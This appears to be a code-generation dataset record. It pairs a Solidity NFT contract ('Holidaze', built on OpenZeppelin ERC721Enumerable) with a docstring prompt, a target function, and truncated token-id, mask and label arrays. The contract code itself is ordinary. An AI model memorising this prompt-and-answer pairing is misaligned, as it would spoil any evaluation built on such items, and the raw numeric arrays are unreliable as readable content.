function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: contracts/Holidaze.sol
/*
██╗ ██╗ ██████╗ ██╗ ██╗██████╗ █████╗ ███████╗███████╗
██║ ██║██╔═══██╗██║ ██║██╔══██╗██╔══██╗╚══███╔╝██╔════╝
███████║██║ ██║██║ ██║██║ ██║███████║ ███╔╝ █████╗
██╔══██║██║ ██║██║ ██║██║ ██║██╔══██║ ███╔╝ ██╔══╝
██║ ██║╚██████╔╝███████╗██║██████╔╝██║ ██║███████╗███████╗
╚═╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝╚═════╝ ╚═╝ ╚═╝╚══════╝╚══════╝
*/
pragma solidity 0.8.7;
interface IAlohaAlphaValidation {
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
}
/**
* @notice This contract allows for the multiple metadata urls, one for each Holidaze collection.
* If token holders explicitly unlock their tokens it will allow the image, metadata, and rarity
* of that token to change. Additionally, when a given token's metadata changes, it will affect
* the overall rarity of the other tokens until the contract is locked after the last
* Holidaze collection url has been added. Only once the contract has been locked will the true
* rarities be available.
*
* Each Holidaze collection will have completely different artwork, theme, traits, rarities, etc.,
* but this will not impact any of the minted NFTs unless the token owner(s) explicitly unlock
* their token.
*
* Unlocking your token will result in the traits, image, etc. (and rarity) changing, so the result
* of unlocking is a gamble.
*
* Tokens that an owner has previously unlocked can be re-locked, and the metadata and image will
* be "locked" to whatever the most recent collection is
*/
contract Holidaze is ERC721Enumerable, Ownable, ReentrancyGuard {
using Strings for uint256;
struct AddressMintCount{
uint256 mintCount;
bool approved;
}
struct TokenUrlState{
uint256 holidazeUrlKey;
bool locked;
}
struct HolidazeUrlName{
string baseUrl;
string holidayName;
}
uint256 public constant MAX_SUPPLY = 10000;
uint256 public constant MAX_PER_PURCHASE = 20;
uint256 public constant SALE_PRICE = 0.025 ether;
uint256 public constant RESERVE_QTY = 450; // Yes, we know this is a big number, but there's good reasons for that
uint256 public constant MAX_ALOHA_ALPHA_ADDRESS_QTY = 2;
bool public publicMintActive = false;
bool public alohaAlphaMintActive = false;
/**
* @dev Specified whether or not owners can lock/unlock their tokens
*/
bool public lockingAllowed = false;
/**
* @dev Specifies whether or not the contract has been locked - forever - preventing
* changes from being made that could affect the metadata
*/
bool public contractLockedForever = false;
/**
* @dev The sha256 string of concatenated sha256 of all images in their natural order
* @notice This will only be set after the last Holidaze collection url has been set
* because the images will - intentionally - change for any tokens that the owner has
* explicitly unlocked
*/
string public provenanceHash;
// Payout addresses
address private constant _founder = 0x737dc5b854f6ff99df8e86f6206e68F6708e70a8; // Founder
address private constant _dev = 0x86190c50d1dD3Eeb2Ab1dbb8E7195F2195AF321f; // Solidity dev
address private constant _artist = 0xaF030d8B42f4a046203305fBa46C175Ae25bc443; // OG Artist
uint256 private constant _totalShares = 10000;
bool private _adminsSet = false;
uint256 private _qtyReserved = 0;
uint256 private _currentHolidazeUrlKey = 0;
IAlohaAlphaValidation private _alohaAlphaInstance;
address[3] private _shareholders = [_founder, _dev, _artist];
address[2] private _admins;
mapping(address => uint256) private _shares;
mapping(address => AddressMintCount) private _approvedAlohaAlphaHolders;
mapping(uint256 => TokenUrlState) private _lockedTokenUrls;
mapping(uint256 => HolidazeUrlName) private _holidazeUrls;
event Mint(address indexed recipient, uint256 indexed tokenId);
event HolidazeUrlAdded(uint256 urlKey, string tokenUrl, address addedBy);
event Locked(address locker, uint256 indexed tokenId, uint256 urlKey);
event Unlocked(address unlocker, uint256 indexed tokenId, uint256 previousUrlKey, uint256 urlKey);
constructor(string memory name, string memory symbol) ERC721(name, symbol) {
require(bytes(name).length > 0 && bytes(symbol).length > 0, "Name and Symbol");
_shares[_founder] = 1650;
_shares[_dev] = 1650;
_shares[_artist] = 1650;
// Remaining 50.5% goes to the contract/project owner
}
function mint(uint256 qty) external payable nonReentrant {
require(publicMintActive, "Minting is not active");
require(qty > 0, "Quantity cannot be zero");
require(
qty <= MAX_PER_PURCHASE,
"Exceeds per-order limit"
);
require(msg.value == (SALE_PRICE * qty), "Incorrect payment amount");
internalMint(_msgSender(), qty);
}
function alohaAlphaMint(uint256 qty) external onlyAlohaAlphaHolder {
require(alohaAlphaMintActive, "Aloha Alpha minting is not active");
require(_approvedAlohaAlphaHolders[_msgSender()].approved, "Aloha Alpha holder not approved");
require(qty > 0, "Quantity cannot be zero");
require(_approvedAlohaAlphaHolders[_msgSender()].mintCount + qty <= MAX_ALOHA_ALPHA_ADDRESS_QTY, "Aloha Alpha mints already claimed");
_approvedAlohaAlphaHolders[_msgSender()].mintCount+=qty;
internalMint(_msgSender(), qty);
}
function internalMint(address recipient, uint256 qty) private {
require(qty > 0, "Quantity cannot be zero");
require((totalSupply() + qty + RESERVE_QTY) <= MAX_SUPPLY, "Exceeds total supply");
require(_currentHolidazeUrlKey > 0, "No urls set");
for (uint256 i = 0; i < qty; i++) {
uint256 tokenId = totalSupply() + 1;
_safeMint(recipient, tokenId);
TokenUrlState memory tokenUrlState = TokenUrlState(_currentHolidazeUrlKey, true);
_lockedTokenUrls[tokenId] = tokenUrlState;
emit Locked(_msgSender(), tokenId, tokenUrlState.holidazeUrlKey);
emit Mint(recipient, tokenId);
}
}
/**
* @dev Mints and sends the specified number of tokens to the specified address for donation, marketing, reward use
*/
function distributeFromReserve(uint256 qty, address recipient) external nonReentrant onlyOwner {
require(
(totalSupply() + qty + RESERVE_QTY) <= MAX_SUPPLY,
"Exceeds total supply"
);
require(
_qtyReserved + qty <= RESERVE_QTY,
"Exceed reserve quantity"
);
for (uint256 i = 0; i < qty; i++) {
_qtyReserved++;
internalMint(recipient, 1);
}
}
/**
* @dev Locks the specified token
* @notice Locking a token will -
* 1. Lock the token to use the metadata from the current Holidaze url
* 2. Prevent the metadata url from changing for the specified token when
* a new Holidaze collection is added
*/
function lockTokenHolidazeUrl(uint256 tokenId) external validTokenOwner(tokenId) notLocked {
require(lockingAllowed, 'Locking not currently allowed');
require(_lockedTokenUrls[tokenId].locked == false, "Token already locked");
TokenUrlState memory tokenUrlState = TokenUrlState(_currentHolidazeUrlKey, true);
_lockedTokenUrls[tokenId] = tokenUrlState;
emit Locked(_msgSender(), tokenId, _currentHolidazeUrlKey);
}
/**
* @dev Allows the owner of the specified token to explicitly unlock their token
* @notice Tokens are locked by default, so unlocking them will -
* 1. Instantly result in the metadata and image changing to that of the most recent
* Holidaze collection
* 2. Allow the metadata and image to continue changing each time a new Holidaze
* collection url is added, unless the token is explicitly locked by the user
* prior to the new collection being added
* @notice Unlocking a token _will_ result in the image, traits, description & rarity
* changing, and this will also impact the overall rarity of the Holidaze collection
*/
function unlockTokenHolidazeUrl(uint256 tokenId) external validTokenOwner(tokenId) notLocked {
require(lockingAllowed, 'Unlocking not currently allowed');
require(_lockedTokenUrls[tokenId].locked == true, "Token already unlocked");
uint256 previousUrlKey = _lockedTokenUrls[tokenId].holidazeUrlKey;
_lockedTokenUrls[tokenId] = TokenUrlState(0, false);
emit Unlocked(_msgSender(), tokenId, previousUrlKey, _currentHolidazeUrlKey);
}
/**
* @dev Adds the specified metadata url and name for a new holidaze collection
* @notice Any tokens that were explicitly unlocked by their owners - before this function
* is called - will have their metadata urls change to use the specified value
*/
function addHolidazeUrl(string calldata url, string calldata name) external onlyOwnerOrAdmin notLocked {
require(bytes(url).length > 0, "Invalid url");
require(bytes(name).length > 0, "Invalid name");
_currentHolidazeUrlKey++;
_holidazeUrls[_currentHolidazeUrlKey] = HolidazeUrlName(url, name);
emit HolidazeUrlAdded(_currentHolidazeUrlKey, url, _msgSender());
}
/**
* @dev Specifies whether or not token holders are allowed to lock/unlock their tokens
* @notice Once the url for the final collection has been added, lockingAllowed will be
* set to true
*/
function setLockingState(bool allowed) external onlyOwnerOrAdmin notLocked {
lockingAllowed = allowed;
}
/**
* @dev Addes the specified addresses to the list of approved alpha aloha holders
*/
function addAlohaAlpha(address[] calldata aaAddresses) external onlyOwnerOrAdmin notLocked {
for (uint256 i = 0; i < aaAddresses.length; i++) {
if(!isApprovedAlohaAlpha(aaAddresses[i])){
_approvedAlohaAlphaHolders[aaAddresses[i]] = AddressMintCount(0, true);
}
}
}
/**
* @dev Removes the specified addresses from the list of approved alpha aloha holders
*/
function removeAlohaAlpha(address[] calldata aaAddresses) external onlyOwnerOrAdmin {
for (uint256 i = 0; i < aaAddresses.length; i++) {
if(isApprovedAlohaAlpha(aaAddresses[i])){
_approvedAlohaAlphaHolders[aaAddresses[i]].approved = false;
}
}
}
/**
* @dev Returns the number of free mints claimed by the approved alpha aloha holders
*/
function alohaAlphaMintsClaimed(address aaAddress) public view returns(uint256){
return _approvedAlohaAlphaHolders[aaAddress].mintCount;
}
/**
* @dev Returns a boolean indicating whether or not the specified address has been
* approved to claim 2 free mints
*/
function isApprovedAlohaAlpha(address aaAddress) public view returns (bool) {
return _approvedAlohaAlphaHolders[aaAddress].approved;
}
/**
* @dev Returns the full metadata url for the specified token
* @notice
* All tokens are locked to the current url at the time that they were minted.
* If the token was minted before the first reveal, then it would effectively be locked to the
* pre-reveal url (key 1) until the first reveal url has been set (key 2).
* Any tokens that were minted post-reveal, would be locked using the reveal url that was
* set at the time of minting.
* Any tokens that the holder has explicitly unlocked will use the most recent reveal url - regardless
* of what the url was at the time of minting. This means that the images and metadata for
* unlocked tokens will be changed automatically when a new reveal url is added.
* When a holder of a token locks it, the reveal url for that token will not change unless the holder
* explicitly re-locks it
*/
function tokenURI(uint256 tokenId) public view override returns (string memory) {
require(_exists(tokenId), "Token does not exist");
TokenUrlState memory urlState = _lockedTokenUrls[tokenId];
string memory url;
bool firstRevealUrlSet = _currentHolidazeUrlKey > 1;
if(!firstRevealUrlSet){
// We haven't reveal yet, so use the pre-reveal url
url = _holidazeUrls[1].baseUrl;
}
else if(urlState.locked && urlState.holidazeUrlKey == 1){
// The holder hasn't explicity unlocked the token and it's still locked to the pre-reveal
// url. Since the first reveal url has been set, the token is effectively locked to use
// the reveal url
url = _holidazeUrls[2].baseUrl;
}
else if(urlState.locked && urlState.holidazeUrlKey > 1){
// The token is locked to a post-reveal url, so that's the url that will be used
url = _holidazeUrls[urlState.holidazeUrlKey].baseUrl;
}
else{
// The token has been explicitly unlocked, so the url that is used should be for the most
// recently added url (collection)
url = _holidazeUrls[_currentHolidazeUrlKey].baseUrl;
}
return string(abi.encodePacked(url, "/", tokenId.toString(), ".json"));
}
/**
* @dev Returns the lock state of the specified token. i.e., tells us -
* 1. Whether or not the token has been locked to use a specific metadata url
* 2. Which metadata url "key" the token is locked to. Using the key rather than
* the _actual_ url allows us to save a bunch of gas
*/
function getTokenUrlState(uint256 tokenId) public view returns (TokenUrlState memory){
require(_exists(tokenId), "Token does not exist");
return _lockedTokenUrls[tokenId];
}
function setAdmins(address[2] calldata adminAddresses) external onlyOwner {
for (uint256 i = 0; i < adminAddresses.length; i++) {
address admin = adminAddresses[i];
require(admin != address(0), "Nope, that's not a good idea");
_admins[i] = admin;
}
_adminsSet = true;
}
/**
* @dev Creates a "limted functionality" instance of the contract for the specified address
*/
function setAlohaAlphaInstance(address instanceAddress) external onlyOwner notLocked {
_alohaAlphaInstance = IAlohaAlphaValidation(instanceAddress);
}
/**
* @dev Distrubtes the balance to all shareholders as defined in the constructor and
* then the remainder goes to the contract owner
*/
function cashOut() external onlyOwner nonReentrant {
require(address(this).balance > 0, "Insufficient balance");
uint256 originalAmt = address(this).balance;
uint256 balance = originalAmt;
for (uint256 i = 0; i < _shareholders.length; i++) {
address payee = _shareholders[i];
uint256 payeeShares = _shares[payee];
uint256 paymentAmount = (originalAmt * payeeShares) / _totalShares;
balance -= paymentAmount;
payable(payee).transfer(paymentAmount);
}
payable(_msgSender()).transfer(balance);
}
/**
* @dev Activates/inactivates public minting
*/
function setActive(bool active) public onlyOwnerOrAdmin {
if(active) {
require(_currentHolidazeUrlKey > 0, "No Holidaze urls exist");
}
publicMintActive = active;
}
/**
* @dev Allow current holders of Poi Puppy Colony tokens to claim 2 NFTs for free,
* provided they have also been added to the approved list of addresses
*/
function setAlohaAlphaMintActive(bool active) public onlyOwnerOrAdmin {
if(active) {
require(_currentHolidazeUrlKey > 0, "No Holidaze urls exist");
}
require(address(_alohaAlphaInstance) != address(0), 'Aloha Alpha instance not set');
alohaAlphaMintActive = active;
}
/*
* Sets the provenance hash - only set once the final collection has dropped because the
* images and metadata will - intentionally - change if any owners explicitly unlock
* their tokens
*/
function setProvenanceHash(string memory provenance) public onlyOwner notLocked {
provenanceHash = provenance;
}
function getMaxHolidazeUrlKey() external view onlyOwnerOrAdmin returns(uint256) {
return _currentHolidazeUrlKey;
}
function getHolidazeUrl(uint256 key) external view onlyOwnerOrAdmin returns(HolidazeUrlName memory) {
return _holidazeUrls[key];
}
function tokensOfOwner(address owner) external view returns (uint256[] memory) {
uint256 tokenCount = balanceOf(owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index =0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(owner, index);
}
return result;
}
}
/**
* @dev Locks the contract (prevents adding of new Holidaze collection urls,
* adding aloha alpha approvals, etc.), but does not prevent minting
* @notice This action cannot be undone, so contract owner, be careful
*/
function lockContractForever() public onlyOwner notLocked {
require(_currentHolidazeUrlKey > 1, "Nope, no locking before reveal!");
contractLockedForever = true;
}
/**
* @dev Throws if called by any account other than the owner or one of the predefined admins.
*/
modifier onlyOwnerOrAdmin() {
require(
_msgSender() == owner() ||
(_adminsSet &&
(_msgSender() == _admins[0] || _msgSender() == _admins[1])),
"Caller is not the owner or an admin"
);
_;
}
/**
* @dev Throws if the specified token doesn't exist, or if the message sender isn't the
* owner of the specified token - to prevent others from modifying the tokens of others
*/
modifier validTokenOwner(uint256 tokenId){
require(_exists(tokenId), "The specified tokenId does not exist");
require(_msgSender() == ownerOf(tokenId), "This can only be performed by the token owner");
_;
}
/**
* @dev Throws if the message sender doe not currently hold any Poi Puppy Colony tokens
*/
modifier onlyAlohaAlphaHolder() {
require(_alohaAlphaInstance.balanceOf(_msgSender()) > 0, "Not an Aloha Alpha holder");
_;
}
/**
* @dev Throws if the contract is locked
*/
modifier notLocked() {
require(!contractLockedForever, "Contract locked, forever!");
_;
}
}
|
* @dev Locks the contract (prevents adding of new Holidaze collection urls, adding aloha alpha approvals, etc.), but does not prevent minting @notice This action cannot be undone, so contract owner, be careful/
|
function lockContractForever() public onlyOwner notLocked {
require(_currentHolidazeUrlKey > 1, "Nope, no locking before reveal!");
contractLockedForever = true;
}
| 9,938,812 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
3488,
87,
326,
6835,
261,
29150,
87,
6534,
434,
394,
670,
7953,
1561,
73,
1849,
6903,
16,
6534,
279,
383,
3395,
4190,
6617,
4524,
16,
5527,
18,
3631,
1496,
1552,
486,
5309,
312,
474,
310,
632,
20392,
1220,
1301,
2780,
506,
640,
8734,
16,
1427,
6835,
3410,
16,
506,
26850,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
2176,
8924,
13573,
502,
1435,
1071,
1338,
5541,
486,
8966,
288,
203,
3639,
2583,
24899,
2972,
44,
7953,
1561,
73,
1489,
653,
405,
404,
16,
315,
50,
1306,
16,
1158,
18887,
1865,
283,
24293,
4442,
1769,
203,
3639,
6835,
8966,
13573,
502,
273,
638,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
